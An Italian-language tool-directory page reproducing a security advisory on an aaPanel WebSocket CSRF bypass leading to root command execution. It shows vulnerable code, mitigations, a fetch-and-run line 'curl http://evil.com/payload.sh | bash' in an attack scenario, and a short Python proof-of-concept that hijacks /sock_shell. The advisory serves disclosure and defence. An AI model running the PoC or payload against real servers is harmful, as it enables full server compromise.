Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
aapanel-ws-bypass — aaPanel WebSocket CSRF Bypass che porta a RCE (Correzione incompleta per CVE-2021-37840) | Kitploit
Strumenti/GitHubGitHub/eonsecurity/aapanel-ws-bypass
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubeonsecurity/aapanel-ws-bypass

aapanel-ws-bypass

aaPanel WebSocket CSRF Bypass che porta a RCE (Correzione incompleta per CVE-2021-37840)

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

aaPanel: i vendor non sempre correggono le cose correttamente

Una correzione incompleta per CVE-2021-37840 espone ancora 3,6 milioni di server a RCE come root, 5 anni dopo

Scoperto da: EON Security
CVE: Assegnazione in sospeso
CVSS: 8.8 (Alto) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Interessati: versioni di aaPanel 6.8.12 fino a 7.65.0 (ogni versione successiva alla correzione del 2021)
Base installata: oltre 3,6 milioni di server


La Versione Breve

Nel 2021, una vulnerabilità di Cross-Site WebSocket Hijacking (CVE-2021-37840) è stata divulgata in aaPanel, un pannello di controllo hosting gratuito in esecuzione su oltre 3,6 milioni di server. Il vendor ha aggiunto un controllo del token CSRF per "correggerla".

La correzione era architettonicamente sbagliata.

Invece di rifiutare le connessioni WebSocket non autenticate a livello HTTP (restituendo 401), la correzione consente il passaggio di ogni connessione (restituisce 101 Switching Protocols) e controlla l'autenticazione solo all'interno dell'handler, dopo che il WebSocket è già stato stabilito. Il controllo CSRF aggiunto può essere aggirato in molteplici modi.

EON Security ha scoperto che, 5 anni dopo, ogni versione di aaPanel è ancora vulnerabile alla stessa classe di attacco.

Questo è solo il 10° CVE in assoluto assegnato ad aaPanel nella sua storia di oltre 6 anni.



Cosa Significa in Parole Povere

Se gestisci aaPanel, ecco cosa può farti un attaccante:

Scenario 1: Un amministratore clicca su un link dannoso

  1. Qualcuno del tuo team clicca su un link che non dovrebbe (email, annuncio, messaggio)
  2. Quella pagina apre segretamente una connessione WebSocket al tuo aaPanel — il browser include automaticamente il cookie di accesso perché hai già effettuato il login
  3. aaPanel vede una sessione valida e lascia passare la connessione — l'autenticazione riesce
  4. L'attaccante invia curl http://evil.com/payload.sh | bash — quel comando viene eseguito come root sul tuo server
  5. Il tuo server è ora completamente compromesso: siti web rubati, database cancellati, malware servito ai tuoi visitatori

Basta un solo clic. Un clic sbagliato e l'attaccante possiede tutto.

Scenario 2: Una chiave API trapela

  1. Una chiave API finisce dove non dovrebbe — in un repository GitHub pubblico, un backup di configurazione, negli appunti di uno sviluppatore
  2. L'attaccante si autentica con quella chiave e apre un WebSocket verso aaPanel
  3. Il controllo CSRF vede "questa è una richiesta autenticata tramite API" e salta del tutto il controllo — è un bypass totale incorporato nel codice
  4. L'attaccante esegue subito comandi come root
  5. Nessun clic da parte dell'amministratore, nessun avviso, nessun log dall'aspetto anomalo — solo una compromissione immediata

Questo è il problema più grande. La protezione CSRF non si applica affatto alle richieste autenticate tramite API. È stata progettata per controllare le connessioni basate su browser, ma il percorso del codice per l'accesso API lo bypassa completamente.

In entrambi i casi, 3,6 milioni di server sono coinvolti. Ogni versione successiva al 2021.

  1. Tutti e 10 gli endpoint WebSocket accettano connessioni prima di verificare la tua identità — restituiscono HTTP 101 Switching Protocols prima di controllare l'autenticazione
  2. Il controllo CSRF ha condizioni di bypass nette — g.api_request=True (richieste autenticate tramite API) e g.is_aes=True (richieste crittografate AES) saltano completamente il controllo
  3. L'endpoint /sock_shell esegue comandi arbitrari — subprocess.Popen(cmd + " 2>&1", shell=True)
  4. L'endpoint /webssh accetta credenziali SSH fornite dall'attaccante — connettersi a qualsiasi host SSH
  5. Eseguito come root — compromissione totale del server

Dettagli della Vulnerabilità

1. Gli Endpoint WebSocket Accettano Connessioni Prima dell'Autenticazione

Tutti gli endpoint WebSocket restituiscono HTTP 101 Switching Protocols prima di qualsiasi controllo di autenticazione. Il controllo di autenticazione comm.local() viene eseguito all'interno dell'handler, dopo che l'upgrade WebSocket è già stato completato:

root@kitploit:~
@sockets.route('/sock_shell')
def sock_shell(ws):
    comReturn = comm.local()     # ← Auth check happens AFTER 101
    if comReturn:
        ws.send(str(comReturn))
        return

Endpoint interessati:

  • /webssh (proxy terminale SSH)
  • /sock_shell (esecuzione diretta di comandi)
  • /ws_panel (gestione pannello)
  • /ws_home (dashboard)
  • /ws_project (gestione progetti)
  • /ws_model (gestione modelli)
  • /workorder_client (sistema di ticket)
  • /v2/* varianti di tutti i precedenti

2. Bypass del Controllo del Token CSRF

La funzione check_csrf_websocket() è progettata per prevenire il Cross-Site WebSocket Hijacking:

root@kitploit:~
def check_csrf_websocket(ws, args):
    if g.is_aes: return True        # ← Bypass: AES mode skips check
    if g.api_request: return True    # ← Bypass: API requests skip check
    if public.is_debug(): return True
    is_success = True
    if not 'x-http-token' in args:
        is_success = False
    if is_success:
        if public.get_csrf_sess_html_token_value() != args['x-http-token']:
            is_success = False
    if not is_success:
        ws.send('token error')
        return False
    return True

Esistono due condizioni di bypass nette:

  • g.api_request: quando è True (impostato durante l'autenticazione con chiave API), il controllo CSRF viene completamente saltato. Qualsiasi sessione WebSocket autenticata tramite API bypassa questa protezione.
  • g.is_aes: quando è True (impostato durante richieste API crittografate AES), anche il controllo CSRF viene saltato.

Il confronto dei token (get_csrf_sess_html_token_value()) restituisce session.get('request_token_head', ""). Nelle sessioni in cui questo valore non è ancora inizializzato, un x-http-token vuoto supera il controllo.

3. Esecuzione di Comandi tramite sock_shell

L'endpoint /sock_shell passa stringhe fornite dall'attaccante direttamente a subprocess.Popen con shell=True:

root@kitploit:~
def sock_recv(cmdstring, ws):
    p = subprocess.Popen(cmdstring + " 2>&1",
                         close_fds=True,
                         shell=True,           # ← Arbitrary command execution
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)

Ogni messaggio ricevuto sul WebSocket viene eseguito come comando shell. L'output viene restituito in streaming tramite WebSocket. Poiché aaPanel gira come root, si tratta di compromissione totale del sistema.

4. Proxy SSH tramite webssh

L'endpoint /webssh accetta parametri di connessione SSH forniti dall'attaccante dal primo messaggio WebSocket:

root@kitploit:~
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()

Se l'host è 127.0.0.1 o localhost, l'handler controlla nel database eventuali credenziali salvate, oppure usa quelle fornite dall'attaccante.


Scenario di Attacco

Il percorso di sfruttamento principale è CSWSH (Cross-Site WebSocket Hijacking) che richiede l'interazione dell'utente:

  1. L'amministratore ha una sessione aaPanel attiva (con accesso effettuato)
  2. L'amministratore visita una pagina web dannosa
  3. La pagina apre un WebSocket verso wss://victim-panel:8888/sock_shell
  4. Il browser include automaticamente il cookie di sessione
  5. comm.local() supera l'autenticazione (cookie di sessione valido)
  6. L'attaccante invia {"x-http-token": ""} oppure sfrutta i percorsi di bypass API/AES
  7. Se il controllo CSRF viene superato, i comandi possono essere eseguiti come root

Percorso alternativo tramite compromissione della chiave API:

  1. L'attaccante ottiene una chiave API aaPanel valida
  2. Le richieste autenticate tramite API impostano g.api_request = True
  3. Il controllo CSRF viene saltato completamente per queste richieste
  4. Esecuzione diretta di comandi tramite WebSocket senza interazione dell'utente

Endpoint Interessati


PoC

root@kitploit:~
import asyncio, json, ssl
import websockets

async def exploit(target, command):
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    
    async with websockets.connect(
        f"wss://{target}/sock_shell", ssl=ssl_context
    ) as ws:
        # Attempt CSRF bypass with empty token
        await ws.send(json.dumps({"x-http-token": ""}))
        resp = await asyncio.wait_for(ws.recv(), timeout=10)
        
        if "token error" in resp:
            # CSRF check active — may need API auth bypass
            return None
        
        # Execute command
        await ws.send(command)
        return await asyncio.wait_for(ws.recv(), timeout=30)

PoC completo: exploit.py


Rilevamento

Usa lo script check.py per verificare se un'istanza aaPanel ha endpoint WebSocket vulnerabili:

root@kitploit:~
python3 check.py https://target:8888

Mitigazione

  1. Controlla l'autenticazione PRIMA di accettare gli upgrade WebSocket — restituisci HTTP 401 a livello di handshake, non dopo
  2. Rimuovi le condizioni di bypass nette — g.api_request e g.is_aes non dovrebbero saltare la protezione CSRF
  3. Valida l'header Origin durante l'upgrade WebSocket — rifiuta le origini non riconosciute
  4. Disabilita sock_shell se non necessario — fornisce l'esecuzione diretta di comandi come root
  5. Limita l'accesso di rete all'interfaccia di amministrazione di aaPanel

Cronologia

DataEvento

Riferimenti

  • CVE-2021-37840 — CSWSH originale di aaPanel
  • CVE-2026-29859 — caricamento file arbitrario in aaPanel (mar 2026)
  • aaPanel GitHub — Repository ufficiale
  • EON Security — Scopritore

Crediti

Yadav — EON Security
Sito web: https://eonsecurity.co.za


Licenza

Questo contenuto è concesso in licenza MIT. Il PoC è fornito esclusivamente a scopo educativo e difensivo.

Scarica lo strumento
EndpointFunzioneImpatto
/websshProxy terminale SSHConnettersi a host SSH arbitrari con credenziali dell'attaccante
/sock_shellEsecuzione diretta di comandiRCE come root tramite comandi shell
/ws_panelGestione pannelloAccesso ai dati del pannello
/ws_homeDashboardAccesso ai dati della dashboard
/ws_projectGestione progettiAccesso ai dati dei progetti
/ws_modelGestione modelliAccesso ai dati dei modelli
/workorder_clientSistema di ticketAccesso ai dati dei ticket
/v2/*Tutte le varianti v2Come sopra
2021-08-02CVE-2021-37840 divulgata (aaPanel CSWSH)
2021Il vendor aggiunge check_csrf_websocket() come correzione
2026-06-23EON Security scopre che la correzione è incompleta
In sospesoAssegnazione CVE
In sospesoDivulgazione pubblica